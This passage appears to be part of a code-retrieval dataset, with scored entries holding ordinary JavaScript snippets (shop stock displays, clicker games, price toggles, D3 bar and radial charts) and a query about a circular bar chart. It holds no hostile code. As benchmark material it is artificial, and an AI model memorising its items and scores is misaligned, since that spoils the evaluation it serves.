translate_sentence('units!'); }\n\t\t\tdocument.write('<div class=\"qty_num\">');\n\t\t\tif (selected_language == 'es') {document.write('&#161;');}\n\t\t\tdocument.write(product_stock + ' ' + unitst + ' ' + translate_sentence('Hurry up!') + '</div>');\n\t\t} else if (product_stock < 1) {\n\t\t\tdocument.write('<style>.post-availability {display: none;}</style><div class=\"sold_out\">' + translate_sentence('Sold out') + '</div>');\n\t\t}\n\t}\n}", "title": "" }, { "docid": "9debeff8c1ef44a74ec662ea667a8e26", "score": "0.560271", "text": "vendCandyOne(){\n if (this.c1stock > 0){\n this.c1stock = this.c1stock - 1;\n }\n }", "title": "" }, { "docid": "0fb4141cafc56949cdf68f50df4a8079", "score": "0.55971754", "text": "function useMoreFoodButton() {\n // Display More Food Button\n moreFoodButton.display();\n // Change More Food Button's opacity if it is active or inactive\n moreFoodButton.changeOpacity();\n // Enlarge More Food Button if user hovers over it\n moreFoodButton.hover(finger);\n // If user clicks on More Food Button while it's active, release food\n moreFoodButton.clicked(finger);\n // Reactivate More Food Button when there is no more food on the canvas\n moreFoodButton.reactivate(fishFoods, numFishFoods);\n}", "title": "" }, { "docid": "9a817ed6a79a7ee1aceea355dfe1d4e3", "score": "0.5596316", "text": "function BuyClicker()\n{\n\tif (Bytes >= Math.round(10 * 1.15 ** Clickers))\n\t{\n\t\tBytes = Bytes - Math.round(10 * 1.15 ** Clickers);\n\t\tClickers = Clickers + 1;\n\t\tUpdate();\n\t}\n}", "title": "" }, { "docid": "add1ebc9ea0e6bf941495531d15e92fc", "score": "0.5594983", "text": "function buyTrainingLevel() {\n var trainingCost = Math.floor(50 * Math.pow(1.1, income.clickingPower.base));\n if (genes >= trainingCost) {\n income.clickingPower.base += 1;\n genes -= trainingCost;\n document.getElementById(\"trainingPower\").innerHTML =\n income.clickingPower.base;\n document.getElementById(\"genes\").innerHTML = genes;\n }\n var nextCost = Math.floor(50 * Math.pow(1.1, income.clickingPower.base));\n document.getElementById(\"trainingCost\").innerHTML = nextCost;\n}", "title": "" }, { "docid": "dd02715849457dfb91d8e284fbbd8fdd", "score": "0.55908847", "text": "function restarstock(id,stock){\nvar resultado = parseInt(stock) + parseInt($(\"#nuevaCantidadDeProducto\"+id).val());\n$(\"#stock\"+id).text(resultado);\nvar text = parseInt($(\"#stock\"+id).text());\nconsole.log(text);\nif( text >= '6'){\n//verde\n\n$(\"#stock\"+id).removeAttr('class');\n$(\"#stock\"+id).attr('class', 'btn btn-success');\n}else if(text <= '3'){\n//rojo\n\n$(\"#stock\"+id).removeAttr('class');\n$(\"#stock\"+id).attr('class','btn btn-danger');\n}else{\n//amarillo\n$(\"#stock\"+id).removeAttr('class');\n$(\"#stock\"+id).attr('class','btn btn-warning');\n}\nlistarProductos()\n}", "title": "" }, { "docid": "852407fc519c9906ac61d24ba719a240", "score": "0.5590592", "text": "function updateCheckoutButton() {\n if (currentBasket.getCheckoutStatus() === undefined) {\n return;\n }\n\n if (currentBasket.getCheckoutStatus() == 'cart') {\n $.checkout_button.show();\n $.checkout_button.setEnabled(canCheckout());\n } else {\n $.checkout_button.hide();\n }\n}", "title": "" }, { "docid": "1a92b125be670b2b32237484190be684", "score": "0.5589964", "text": "function multiClick()\n{\n if (scoreCounter >= multiCost(upgrade.multi)) {\n scoreCounter -= multiCost(upgrade.multi);\n upgrade.multi += (0.1 * level);\n multiplier = upgrade.multi;\n getButtonStrings();\n document.getElementById(\"score\").innerHTML = getString(\"getStringCard\");\n getAccumAndMultString();\n getClickValue();\n pointsEarnedByClickPerSecond = accumMultProduct();\n }\n}", "title": "" }, { "docid": "c6fa16f29455781e363529cedd6f6aee", "score": "0.5585914", "text": "function changePriceDisplay() {\n const packages = PACKAGES.getPackages();\n const $priceToggle = $(\"#price-toggle\");\n const isMonthly = !PACKAGES.getIsMonthly();\n\n packages.forEach((element) => {\n const index = packages.indexOf(element);\n const $panelPrice = $(\".pricing-panel__price-numbers\")[index];\n\n $panelPrice.innerHTML = isMonthly\n ? element.priceMonthly\n : element.priceYearly;\n });\n\n $priceToggle.attr(\n \"aria-label\",\n isMonthly ? \"Switch to annual prices\" : \"Switch to monthly prices\"\n );\n $priceToggle.toggleClass(\"price-toggle--annually\");\n PACKAGES.changeIsMonthly();\n}", "title": "" }, { "docid": "ef776b9248201d8d0d6e52e33bdf9715", "score": "0.5585682", "text": "function updatePrice() {\r\n var initialPrice = $('.price-update').data('price');\r\n var total = initialPrice;\r\n $('.addon-product .checkbox input:checked').each( function() {\r\n total += $(this).closest('.addon-product').find('.addon-variant-price').data('price');\r\n });\r\n $('.price-update').html( formatCurrency( total ) ).addClass('emphasis');\r\n setTimeout(function() {\r\n $('.price-update').removeClass('emphasis');\r\n }, 150);\r\n }", "title": "" }, { "docid": "7fac13a19959a493bae18a57163d3ea7", "score": "0.5585602", "text": "function updateMinePurchases() {\n let buyMines = document.getElementById('build-mines')\n let label = document.getElementById('build-mines-label')\n let nodeid = buyMines.nodeid\n if (nodeid) {\n if (map[nodeid].player === turnPlayer) {\n buyMines.removeAttribute('disabled')\n let mineLevel = map[nodeid].mines + map[nodeid].purchases.mines\n buyMines.value = mineLevel\n buyMines.previousValue = mineLevel\n // do not allow changes if fully upgraded mine\n if (map[nodeid].mines < 1) {\n let nextMineLevel = mineLevel + 1\n if (nextMineLevel === 1) {\n label.textContent = 'Mine: ' + mineUpgradeCost[nextMineLevel - 1]\n } else {\n // do not allow user to upgrade manually past 1\n label.textContent = 'Mine: ' + mineLevel\n }\n } else {\n label.textContent = 'Mine: ' + mineLevel\n buyMines.setAttribute('disabled', 'disabled')\n }\n } else {\n buyMines.setAttribute('disabled', 'disabled')\n // hide purchase information from other players\n buyMines.value = map[nodeid].mines\n label.textContent = 'Mines'\n }\n } else {\n buyMines.setAttribute('disabled', 'disabled')\n buyMines.value = 0\n label.textContent = 'Mines'\n }\n}", "title": "" }, { "docid": "458deb15e20ccbfa0db5b81aca867ad5", "score": "0.5583779", "text": "function btnHandler(now){\r\n if(now+1 == totalQ){\r\n $(\"button#next-btn\").hide();\r\n $(\"button#fin-btn\").show();\r\n } else {\r\n $(\"button#fin-btn\").hide();\r\n $(\"button#next-btn\").show();\r\n }\r\n if(now == 0){\r\n $(\"button#prev-btn\").css(\"opacity\",\"0\");\r\n } else {\r\n $(\"button#prev-btn\").css(\"opacity\",\"1\");\r\n }\r\n}", "title": "" }, { "docid": "f31088af0628fcf4e593770d0ab2cd18", "score": "0.55797035", "text": "function powerNow() {\n power = clicksPower * 10; //what power is\n heightScaled = (power) / (0.02 * bonusMinPower);\n if (heightScaled >= 100) {\n heightScaled = 101;\n }\n powerHUD.style.height = `${heightScaled}%`;\n powerArray.push(power);\n clicksPower = 0; \n}", "title": "" }, { "docid": "3a08ad47e88a6cb69d6a0fe3329fad3f", "score": "0.55694336", "text": "function apCalcABClick(){\n\tif (apcalcabGB == 0){\n\t\tdocument.getElementById(\"apCalcABGrey\").style.opacity = \"0.0\";\n\t\tapcalcabGB = 1;\n\t} else {\n\t\tdocument.getElementById(\"apCalcABGrey\").style.opacity = \"1.0\";\n\t\tapcalcabGB = 0;\n\t\tapCalcAbScore(0);\n\t}\n\t$(\"#a0\").toggle();\n}", "title": "" }, { "docid": "e62b5412ebcc16c4ca100043de878874", "score": "0.55644137", "text": "function updateGraphics() {\n currentMeme = getRandomMeme();\n document.getElementById(\"memeTitle\").innerHTML = currentMeme.title;\n document.getElementById(\"memeImage\").src = currentMeme.imgURL;\n document.getElementById(\"memeScore\").innerHTML = \"Score: \" + currentMeme.score;\n document.getElementById(\"buyBtn\").innerHTML = \"$\" + Math.floor(currentMeme.getPurchaseCost());\n}", "title": "" }, { "docid": "5c942ab8b3354727817cf9abdfe07824", "score": "0.5557063", "text": "function productIncDec() {\n\t\t$( 'body' ).on( 'click', '.q-plus, .q-min', function( e ) {\n\t\t\te.preventDefault();\n\t\t\tvar $qty = $( this ).closest( '.quantity' ).find( '.qty' ),\n\t\t\t\tcurrentVal = parseInt( $qty.val() ),\n\t\t\t\tisAdd = $( this ).hasClass( 'add' );\n\n\t\t\t!isNaN( currentVal ) && $qty.val( isAdd ? ++currentVal : ( currentVal > 0 ? --currentVal : currentVal ) );\n\t\t} );\n\t}", "title": "" }, { "docid": "fb2715ce723c82c47b3b87494da90b5f", "score": "0.5538492", "text": "function fishClick(number){\r\n\t\r\n\tif((fish + number) <= totalFishStorage){\r\n\t\t\r\n\t\tfish = fish + number;\r\n\t\tdocument.getElementById(\"fish\").innerHTML = fish + \" fish\";\r\n\t}\r\n}", "title": "" }, { "docid": "459bbf73377650e22c2dc176b3d968a8", "score": "0.55303407", "text": "buyDrink(selection) {\n this.choice = this.makeChoice(selection); //Assigns choice if valid\n if (this.hasStock(this.choice) && this.enoughMoney()) {\n this.inventory[this.choiceIndex].amount -= 1;\n this.change = (this.money * 100 - this.choice.price * 100) / 100;\n this.money = (this.money * 100 - this.choice.price * 100) / 100;\n }\n this.change = this.money;\n this.money = 0;\n\n if (this.change > 0) {\n console.log(this.returnMinCoins(this.change));\n }\n }", "title": "" }, { "docid": "60ce1307d83ae3a30c4349595a0aeec9", "score": "0.5520209", "text": "function offerPremium() {\n showCollapse(premiumOffer)\n hideCollapse(prayButton)\n prayButton.disabled = true\n}", "title": "" }, { "docid": "7cdc83155506eefe67be1de7294594c5", "score": "0.55192244", "text": "function t_show_transaction_cash(){\n var amount = $(\"input#transaction_amount\").val();\n if(amount != \"\"){\n $(\"input#transaction_amount\").next('label').text('≈ ' + amount * current_price);\n }\n t_new_transaction_handler();\n}", "title": "" }, { "docid": "c0e7fcf4e6b6697279d8a0e89178b7e8", "score": "0.5518359", "text": "function mort_boss (){\n\tif (Hp_boss.value <= 0){\n\tImage_boss.style.opacity=\"0\";\n\tImage_tresor.style.visibility=\"visible\";\n\twindow.alert(\"Félicitation vous venez de tuer Le gardien.\");\n\ttextAction.innerHTML = \"Le gardien a succombé à ses blessures.\";\n\t\n\t\n\tbouton_atq.disabled = true;\n\tbouton_shield.disabled = true;\n\tbouton_spe.disabled = true;\n\tbouton_passer_tour.disabled = true;\n\tbouton_passer_tour.style.opacity = \"0.5\";\n\t}\n}", "title": "" }, { "docid": "c1dafe7bc4f76ffaf1c48d0cf699ff72", "score": "0.55166566", "text": "function takeTheMoney() {\n\n\t\tgameInstructions.empty().append(\"<p>Congratulations you've won ₹\" + amountOffer + \"</p>\");\n\n\t\tif (amountOffer > chosenBoxAmount) {\n\n\t\t\tchosenNumBox.empty().append(\"<p>Your card is \" + chosenBoxAmount + \". You won the game</p>\");\n\n\t\t}\n\n\t\telse {\n\n\t\t\tchosenNumBox.empty().append(\"<p>Your card is \" + chosenBoxAmount + \". You lost the game</p>\");\n\n\t\t}\n\n\t\ttakeMoneyBtn.hide();\n\t\tcontinueGameBtn.hide();\n\t\tplayAgainBtn.show();\n\t\topenBoxesBtn.hide();\n\n\t}", "title": "" }, { "docid": "fd6c5ae9f65e61f7c89b5ec2fc85e83d", "score": "0.55159277", "text": "function increaseArticleQuantityOnClick() {\n modifyArticleQuantityOnClick('fa-plus-square','more');\n}", "title": "" }, { "docid": "4f360fd312272ec44856bd20d3f88ee6", "score": "0.5515694", "text": "function buy(e) {\n // Get the btn parent element\n var target = e.target.parentElement;\n\n // Get the Title and price\n var title = target.childNodes[1].innerHTML;\n var strPrice = target.childNodes[6].childNodes[0].innerHTML;\n var price = parseFloat(strPrice.substring(7, strPrice.length - 2));\n\n\n // Fix to decimals .11\n var fixedPrice = price.toFixed(2);\n\n addToCheckOut(title, fixedPrice);\n}", "title": "" }, { "docid": "aa6b725f02102e08b7e455c87dec3160", "score": "0.5515543", "text": "function autoDealer() {\n document.getElementById('dealer_card_2').classList.remove('hidden');\n totalDealer.classList.remove('hidden');\n while (parseInt(totalDealer.innerHTML) < 17) {\n hit_button_dealer.click();\n }\n stand_button_dealer.click();\n}", "title": "" }, { "docid": "1ec28becaaf8017becdc57e12e8757d0", "score": "0.5515272", "text": "function updateBattery() {\n batteryLevel.text = `${battery.chargeLevel}%`;\n if ( charger.connected ) {\n switch(true) {\n case (battery.chargeLevel < 95):\n batteryIcon.href = \"battery/battery-status-charging.png\";\n break;\n case (battery.chargeLevel >= 95):\n batteryIcon.href = \"battery/battery-status-charged.png\";\n break;\n default:\n batteryIcon.href = \"battery/battery-status-charging.png\";\n }\n }\n else if ( !charger.connected ) {\n switch(true) {\n case (battery.chargeLevel <= 20):\n batteryIcon.href = \"battery/battery-status-1.png\";\n break;\n case (battery.chargeLevel > 20 && battery.chargeLevel <= 50):\n batteryIcon.href = \"battery/battery-status-2.png\";\n break;\n case (battery.chargeLevel > 50 && battery.chargeLevel <= 80):\n batteryIcon.href = \"battery/battery-status-3.png\";\n break;\n case (battery.chargeLevel > 80):\n batteryIcon.href = \"battery/battery-status-4.png\";\n break;\n default:\n batteryIcon.href = \"battery/battery-status-4.png\";\n break;\n };\n };\n}", "title": "" }, { "docid": "a7b443464fab2b0f3b5da32d423b95ca", "score": "0.5513845", "text": "function balanceUpdate(AmountConverted, isAdd) {\n const balanceAmountDisplay = document.getElementById(\"balance_amount_display\");\n const balanceAmountConverted = totalBalanceCheck();\n\n if (isAdd == true) {\n const totalBalance = balanceAmountConverted + AmountConverted;\n balanceAmountDisplay.innerText = totalBalance;\n }\n else {\n const totalBalance = balanceAmountConverted - AmountConverted;\n balanceAmountDisplay.innerText = totalBalance;\n }\n\n}", "title": "" } ]
c210d7167836aced4e160e62ec9340c7
circlular bar Chart body figure
[ { "docid": "05908caf5e6a61db3af19b2f46e56a0c", "score": "0.67378825", "text": "function createCircBarChart(data){\n $('#circbar-chart').empty();\n\n var enter_cnt=new Array();\n var exit_cnt=new Array();\n var watcher_cnt=new Array();\n // var passer_cnt=new Array();\n\n data.forEach(d=> {\n enter_cnt.push(parseInt(d.enter_cnt))\n exit_cnt.push(parseInt(d.exit_cnt))\n watcher_cnt.push(parseInt(d.watcher_cnt))\n // passer_cnt.push(parseInt(d.passer_cnt))\n });\n\n var enter_tot=enter_cnt.reduce(function(a,b){return a+b},0);\n var exit_tot=exit_cnt.reduce(function(a,b){return a+b},0);\n // var passer_tot=passer_cnt.reduce(function(a,b){return a+b},0);\n var watcher_tot=watcher_cnt.reduce(function(a,b){return a+b},0);\n var total=enter_tot+exit_tot+watcher_tot\n\n var options = {\n series: [enter_tot/total*270, exit_tot/total*270, watcher_tot/total*270],\n chart: {\n height: '100%',\n type: 'radialBar',\n },\n \n plotOptions: {\n radialBar: {\n offsetY: 0,\n startAngle: 0,\n endAngle: 270,\n hollow: {\n margin: 5,\n size: '30%',\n background: 'transparent',\n image: undefined,\n },\n dataLabels: {\n name: {\n show: false,\n },\n value: {\n show: false,\n }\n }\n }\n },\n colors: ['#FF7D91', '#FF0091','#630063'],\n labels: ['进客人数', '出客人数', '观望人数'],\n legend: {\n show: true,\n floating: true,\n fontSize: '8px',\n position: 'left',\n // width: 100,\n height: 100,\n offsetX: -10,\n offsetY: -10,\n labels: {\n colors:'white',\n useSeriesColors: false,\n },\n markers: {\n width:6,\n height: 6,\n },\n formatter: function(seriesName, opts) {\n return seriesName + \": \" + Math.round(opts.w.globals.series[opts.seriesIndex]/285*total)\n },\n itemMargin: {\n vertical: -2\n }\n },\n responsive: [{\n breakpoint: 480,\n options: {\n legend: {\n show: false\n }\n }\n }]\n };\n\n var chart = new ApexCharts(document.querySelector(\"#circbar-chart\"), options);\n chart.render();\n}", "title": "" } ]
[ { "docid": "44b3280d1a3e7a363eb65e3f7ab15760", "score": "0.69018644", "text": "function bars(parent) {\n parent.attr('transform', d => `translate(0, ${yScale(d.name)})`);\n\n //draw rects\n if(showRects === true) { \n for(let k = 0; k < seriesNames.length -1; k++) {\n parent.append('rect')\n .attr('class', 'bars')\n .attr('y', 0)\n .attr('height', () => yScale.bandwidth())\n .attr('x', d => xScale(d.groups[k].value))\n .attr('width', d => xScale(d.groups[k + 1].value) - xScale(d.groups[k].value))\n .attr('fill', d => colourScale(k));\n };\n } \n\n //connecting lines\n if (showLines === true){\n parent\n .append('line')\n .attr('x1', d => xScale(d.groups[0].value))\n .attr('x2', d => xScale(d.groups[seriesNames.length - 1].value))\n .attr('y1', d => yScale.bandwidth() / 2)\n .attr('y2', d => yScale.bandwidth() / 2)\n .attr('class', 'connector')\n }\n \n //circles\n if(showMarkers === true) {\n parent.selectAll('circle')\n .data(d => d.groups)\n .enter()\n .append('circle')\n .attr('r', rem / 2)\n .attr('cy', d => yScale.bandwidth() / 2)\n .attr('cx', d => xScale(d.value))\n .attr('fill', d => colourScale(d.name));\n }\n }", "title": "" }, { "docid": "5fdf4098d19373e2c2f8619925f43fdb", "score": "0.67520285", "text": "function insBarras(state) {\n\t\t\t\t\tconst { ctx, chart, scale } = state\n\t\t\t\t\tconst { x0, y0, x1, y1 } = chart.position\n\t\t\t\t\tctx.save()\n\t\t\t\t\t\n\t\t\t\t\tlet barMargin = 10\n\t\t\t\t\tlet barPadding = barMargin/2\n\t\t\t\t\tlet barsSize\n\t\t\t\t\tchart.bars.width == 0 ? barsSize = 1 : chart.bars.width == 1 ? barsSize = 0.8 : chart.bars.width == 2 ? barsSize = 0.6 : barsSize = 1\n\t\t\t\t\t\n\t\t\t\t\tif (chart.orientation == 'vertical') {\n\t\t\t\t\t\tlet width = (x1 - x0 - chart.style.innerPadding.x*2)\n\t\t\t\t\t\tlet height = (y1 - y0 - chart.style.innerPadding.y - chart.axis.width/2)\n\t\t\t\t\t\tlet barCont = (width - barMargin*chart.tags.length - barPadding*chart.tags.length)/chart.tags.length\n\t\t\t\t\t\tlet dy = scale.max == Math.max(...chart.values) ? height / Math.max(...chart.values) : height / scale.max\n\t\t\t\t\t\tlet x = chart.style.innerPadding.x + barMargin\n\t\t\t\t\t\tlet xPos = x0\n\t\t\t\t\t\tlet yPos = y1 - chart.axis.width/2\n\t\t\t\t\t\tlet borderBar = chart.bars.border.width\n\t\t\t\t\t\tlet vardx = barCont + barMargin + barPadding\n\t\t\t\t\t\tfor (let i = 0; i < chart.values.length; i++) {\n\t\t\t\t\t\t\tlet dx = vardx*i\n\t\t\t\t\t\t\tif (chart.bars.highlight.color != '') {\n\t\t\t\t\t\t\t\tresaltarBarras(state, xPos + x + dx,yPos,barCont - borderBar,-dy*chart.values[i], barPadding)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tctx.fillStyle = chart.bars.color\n\t\t\t\t\t\t\tctx.beginPath()\n\t\t\t\t\t\t\tctx.rect(xPos + x + dx + borderBar/2,yPos,barCont - 2*borderBar,-dy*chart.values[i])\n\t\t\t\t\t\t\tctx.closePath()\n\t\t\t\t\t\t\tctx.fill()\n\t\t\t\t\t\t\tif (borderBar > 0) {\n\t\t\t\t\t\t\t\tctx.beginPath()\n\t\t\t\t\t\t\t\tctx.lineWidth = borderBar\n\t\t\t\t\t\t\t\tctx.strokeStyle = chart.bars.border.color\n\t\t\t\t\t\t\t\tctx.moveTo(xPos + x + dx, yPos)\n\t\t\t\t\t\t\t\tctx.lineTo(xPos + x + dx,yPos - dy*chart.values[i])\n\t\t\t\t\t\t\t\tctx.lineTo(xPos + x + dx,yPos - dy*chart.values[i])\n\t\t\t\t\t\t\t\tctx.lineTo(xPos + x + dx + barCont - borderBar,yPos - dy*chart.values[i])\n\t\t\t\t\t\t\t\tctx.lineTo(xPos + x + dx + barCont - borderBar, yPos)\n\t\t\t\t\t\t\t\tctx.stroke()\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlet height = (y1 - y0 - chart.style.innerPadding.y*2)\n\t\t\t\t\t\tlet width = (x1 - x0 - chart.style.innerPadding.x - chart.axis.width/2)\n\t\t\t\t\t\tlet barCont = (height - barMargin*chart.tags.length - barPadding*chart.tags.length)/chart.tags.length\n\t\t\t\t\t\tlet dx = scale.max == Math.max(...chart.values) ? width / Math.max(...chart.values) : width / scale.max\n\t\t\t\t\t\tlet x = chart.style.innerPadding.x + barMargin\n\t\t\t\t\t\tlet y = chart.style.innerPadding.y/2 + barMargin\n\t\t\t\t\t\tlet xPos = x0 + chart.axis.width/2\n\t\t\t\t\t\tlet yPos = y1\n\t\t\t\t\t\tlet borderBar = chart.bars.border.width\n\t\t\t\t\t\tconsole.log(barCont)\n\t\t\t\t\t\tlet vardx = barCont + barMargin + barPadding\n\t\t\t\t\t\tlet vardy = barCont + barMargin + barPadding\n\t\t\t\t\t\tfor (let i = 0; i < chart.values.length; i++) {\n\t\t\t\t\t\t\tlet dy = vardy*i\n\t\t\t\t\t\t\t// if (chart.bars.highlight.color != '') {\n\t\t\t\t\t\t\t// resaltarBarras(state, xPos + x + dx,yPos,barCont - borderBar,-dy*chart.values[i], barPadding)\n\t\t\t\t\t\t\t// }\n\t\t\t\t\t\t\tctx.fillStyle = chart.bars.color\n\t\t\t\t\t\t\tctx.beginPath()\n\t\t\t\t\t\t\t// ctx.rect(xPos + x + dx + borderBar/2,yPos,barCont - 2*borderBar,-dy*chart.values[i])\n\t\t\t\t\t\t\tctx.rect(xPos,yPos - dy - y,dx*chart.values[i],-dx)\n\t\t\t\t\t\t\tconsole.log(chart.values[i])\n\t\t\t\t\t\t\tctx.closePath()\n\t\t\t\t\t\t\tctx.fill()\n\t\t\t\t\t\t\t// if (borderBar > 0) {\n\t\t\t\t\t\t\t// ctx.beginPath()\n\t\t\t\t\t\t\t// ctx.lineWidth = borderBar\n\t\t\t\t\t\t\t// ctx.strokeStyle = chart.bars.border.color\n\t\t\t\t\t\t\t// ctx.moveTo(xPos + x + dx, yPos)\n\t\t\t\t\t\t\t// ctx.lineTo(xPos + x + dx,yPos - dy*chart.values[i])\n\t\t\t\t\t\t\t// ctx.lineTo(xPos + x + dx,yPos - dy*chart.values[i])\n\t\t\t\t\t\t\t// ctx.lineTo(xPos + x + dx + barCont - borderBar,yPos - dy*chart.values[i])\n\t\t\t\t\t\t\t// ctx.lineTo(xPos + x + dx + barCont - borderBar, yPos)\n\t\t\t\t\t\t\t// ctx.stroke()\n\t\t\t\t\t\t\t// }\n\t\t\t\t\t\t} \n\t\t\t\t\t}\n\t\t\n\t\t\t\t\tctx.restore()\n\t\t\t\t\tctx.save()\n\t\t\t\t}", "title": "" }, { "docid": "6bcf5a18811a20ca81d38071b0811cb7", "score": "0.65568244", "text": "function bar_chart_single(data,obj) {\n//var w=850,h=330,element=\"#body\",xLabel=\"x values\",yLabel=\"y values\";\nvar w=obj['w'];\nvar h=obj['h'];\nvar element=obj['element'];\nvar xLabel=obj['xLabel'];\nvar yLabel=obj['yLabel'];\nvar colorRange=obj['color'];\nvar afterColorRange=\"\";\nvar deg=0;\nvar bottombar=40;\nvar xLabelTranslate=0;\n\n\nif('xLabelTranslate' in obj)\n\txLabelTranslate=obj['xLabelTranslate'];\n\n\n\nif('afterColor' in obj)\n afterColorRange=obj['afterColor'];\nelse afterColorRange=colorRange;\n\nif('xTextDegree' in obj)\n deg=obj['xTextDegree'];\nelse deg=\"0\";\nvar anchor=\"middle\";\nif(deg==0) anchor=\"middle\";\nelse anchor=\"middle\";\n\nif('barFontSize' in obj)\n\ttsize=obj['barFontSize'];\nelse tsize=12; \n\nif('extendHeight' in obj)\n\tbottombar=obj['extendHeight'];\nelse bottombar=40; \n\n\n//by default itz true>>>> % will be visible\nvar percentage=\"true\";\nif('percentage' in obj)\n\tpercentage=obj['percentage'];\nelse percentage=\"true\"; \n\n//If there is a special Bar, which is different color than others, use this object. This is only for 1 bar,\n//Only specily x_value and color of that bar\nvar diffXDataColor=null;\nvar diffX=null;\nvar diffXColor=null;\n\nif('diffXDataColor' in obj)\n{\tdiffXDataColor=obj['diffXDataColor'];\n\tdiffX=diffXDataColor[0];\n\tdiffXColor=diffXDataColor[1];\n}\nelse diffXDataColor=null; \n\n\n\n\n//For Many different color bar, Specify The starting number of the bar from where different color will be started as well as color\nvar diffXStartPoint=null;\nvar StartPoint=1000000;\nvar StartPointColor=-1;\n\nif('diffXStartPoint' in obj)\n{\tdiffXStartPoint=obj['diffXStartPoint'];\n\tStartPoint=diffXStartPoint[0] -1;\n\tStartPointColor=diffXStartPoint[1];\n}\nelse StartPointColor=null; \n//console.log(\"yes \" + diffXStartPoint);\n\nvar total=0; // total for percentage calculation\nvar margin = {top: 20, right: 10, bottom: 30, left: 10},\n width = w- margin.left - margin.right,\n height = h - margin.top - margin.bottom;\n\nvar x = d3.scale.ordinal()\n .rangeRoundBands([0, width], .6);\n\nvar y = d3.scale.linear()\n .range([height, 0]);\n\nvar xAxis = d3.svg.axis()\n .scale(x)\n .orient(\"bottom\");\n\nvar color = d3.scale.ordinal()\n .range(colorRange);\n\n\n\nvar afterColor = d3.scale.ordinal()\n .range(afterColorRange);\n\n\nvar yAxis = d3.svg.axis()\n .scale(y)\n.orient(\"left\") \n\t.innerTickSize(-width)\n .outerTickSize(0)\n .tickPadding(10)\n//.ticks(10,\"%\");\n\nvar chart = d3.select(element).append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", height + margin.top + margin.bottom+ bottombar)\n .append(\"g\")\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\n//tooltip\nvar tip = d3.tip()\n .attr('class', 'd3-tip')\n .offset([-10, 0])\n .style(\"left\", \"px\")\n .html(function(d) {\n return \"<strong>Age: </strong> <span style='color:blue'>\" + d.x_data+\"</span> </br> <strong> Number of member: </strong><span style='color:blue'>\" + d.y_data + \"</span> </br> <strong> Total: </strong><span style='color:blue'>\" + total + \"</span>\";\n\n //return \"<span style='color:gray'>Meassure Name: </span><span style='color:black'> <strong> \" + d.x_data+\" </strong> </span> </br> <span style='color:gray'>Meassure Value</span> <span style='color:black'> <strong> \" +Number((d.y_data)).toFixed(1)+ \" </strong> </span> </br><span style='color:gray'> Total Value: <span style='color:black'> <strong> \" + total.toFixed(1) + \" </strong> </span></br><span style='color:gray'> % is: <span style='color:black'> <strong> \" + d.pData+ \" </strong> </span>\"; \n\n\nreturn \"<span style='color:gray'>Measure Name: </span><span style='color:black'> <strong> \" + d.x_data+\" </strong> </span></br><span style='color:gray'> Value: <span style='color:black'> <strong> \" + d.pData+ \" </strong> </span>\"; \n\n});\nchart.call(tip);\n //console.log(\"Hello \" + d3.max(data, function(d,i) { total+=d.y_data[i]; return d.y_data[i]; }));\n \n x.domain(data.map(function(d) { return d.x_data; }));\n\n y.domain([0, d3.max(data, function(d,i) { total+=+d.y_data; return +d.y_data; })]);\n //console.log(\"*******TOTAL \"+ total);\n chart.append(\"g\")\n .attr(\"class\", \"x axis\")\n .attr(\"transform\", \"translate(0,\" + height + \")\")\n .call(xAxis)\n\t.selectAll(\"text\") \n .style(\"text-anchor\", anchor)\n .style(\"font-size\", 12 + \"px\")\n //.attr(\"dx\", \"-.8em\")\n .attr(\"dy\", \".55em\")\n\t .attr(\"x\", 10)\n .attr(\"transform\", \"rotate(-\"+deg+\")\" );\n // .call(wrap, x.rangeBand());\n\n chart.append(\"g\")\n .attr(\"class\", \"y axis\")\n.attr(\"transform\", \"translate(\" + 20 + \",0)\")\n .call(yAxis);\n \n\n chart.selectAll(\".bar\")\n .data(data)\n .enter().append(\"rect\")\n .attr(\"class\", \"bar\")\n\n .style(\"font-size\", tsize + \"px\")\n .attr(\"x\", function(d) { return x(d.x_data); })\n .attr(\"y\", function(d) { return y(d.y_data); })\n .attr(\"height\", function(d) { return height - y(d.y_data); })\n .style(\"fill\", function(d,i) \n\t\t{ \n\t\tif(i >= diffXStartPoint) return \"#FF0000\";\n\t\t else return color(d.x_data); \n\t\t})\n .attr(\"width\", x.rangeBand())\n\t .on(\"mouseout\", function(d,i){\n\t\tvar clr=0;\n\t\tif(d.x_data==diffX) clr= diffXColor;\n\t\telse if(i>=StartPoint) clr=StartPointColor \n\t\telse clr=color(d.x_data);\n\t\t//d3.select(this).style(\"fill\",color(d.x_data));\t\t\n\t\td3.select(this).style(\"fill\", clr);\n\t\t//legendText.style(\"fill\", \"black\");\n\t\ttip.hide(d);\n\t\t})\n\t .on(\"mouseover\", function(d,i){\n\t\tvar clr=0;\n\t\t//d3.select(this).style(\"fill\", afterColor(d.x_data));\n\t\tif(d.x_data==diffX) clr= \"gray\"; \n\t\telse if(i>=StartPoint) clr=\"gray\";\n\t\telse clr=afterColor(d.x_data);\n\t\td3.select(this).style(\"fill\", clr );\n\t\t//legendText.style(\"fill\", \"blue\");\n\t\ttip.show(d);\n\t\t});\n\t\tvar xv=0;\n//var tsize=0.05*h;\nchart.selectAll(\".bartext\")\n.data(data)\n.enter()\n.append(\"text\")\n.attr(\"class\", \"bartext\")\n.attr(\"text-anchor\", \"middle\")\n.attr(\"fill\", \"black\")\n.style(\"font-size\", tsize + \"px\")\n.attr(\"x\", function(d,i) {\n return x(d.x_data)+x.rangeBand()/2;\n})\n.attr(\"y\", function(d,i) {\n return y(d.y_data)- 6; // previously 20\n})\n.text(function(d){ //percentage calculation here :)\n\t //var percen= (100*d.y_data)/total;\n\t //xv +=percen;\n\t percen=Number((d.y_data)).toFixed(2);\n\t//percen= Math.round(percen);\n\tif(percentage==\"false\")\n\t{\n\t\td.pData=percen;\n\t\treturn percen;\n\t}\n\telse \n\t{\td.pData=percen;\n\t \treturn percen;\n\t}\n});\n\n//X axis label\nchart.append(\"text\")\n .attr(\"transform\", \"translate(\" + ((width / 2)+ xLabelTranslate) + \" ,\" + (height + margin.bottom+ bottombar-10) + \")\")\n.style(\"fill\", \"steelblue\")\n .style(\"text-anchor\", \"middle\")\n\t.style(\"font-size\", \"12px\")\n .text(xLabel);\n\n//Y asis Label\nchart.append(\"text\")\n .attr(\"transform\", \"rotate(-90)\")\n .attr(\"y\", 0 - 